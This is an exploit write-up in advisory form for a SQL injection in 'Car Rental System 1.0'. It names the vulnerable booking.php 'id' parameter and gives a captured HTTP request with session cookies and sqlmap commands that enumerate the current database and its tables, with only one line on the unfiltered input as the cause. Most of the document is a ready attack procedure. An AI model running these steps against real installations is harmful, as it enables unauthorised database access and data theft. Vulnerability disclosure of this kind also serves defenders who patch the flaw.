Car Rental System 1.0 SQL Injection

`# Car Rental System SQL Injection  
# Author: D4rkP0w4r  
* Note => Login to customer  
* Injection Point => http://192.168.1.101:8080/Car_Rental/booking.php?id=1  
  
# Exploit   
* Exploit with Sqlmap + Burp Suite   
* Use Burp Suite capture request   
* Then save as sqlicar.txt  
  
GET /Car_Rental/booking.php?id=1 HTTP/1.1  
Host: 192.168.1.101:8080  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://192.168.1.101:8080/Car_Rental/index.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: ci_session=jo7rsp3d4su5223o11544otrc44odm2l; PHPSESSID=5cddkjjvh5nhvqh96t306gau8b  
Connection: close  
  
* Exploit with Sqlmap  
python3 sqlmap.py -r sqlicar.txt --current-db  
python3 sqlmap.py -r sqlicar.txt -D carrentalp --tables  
  
# Vulnerable Code  
* No filter id when inserting data to database  
  
`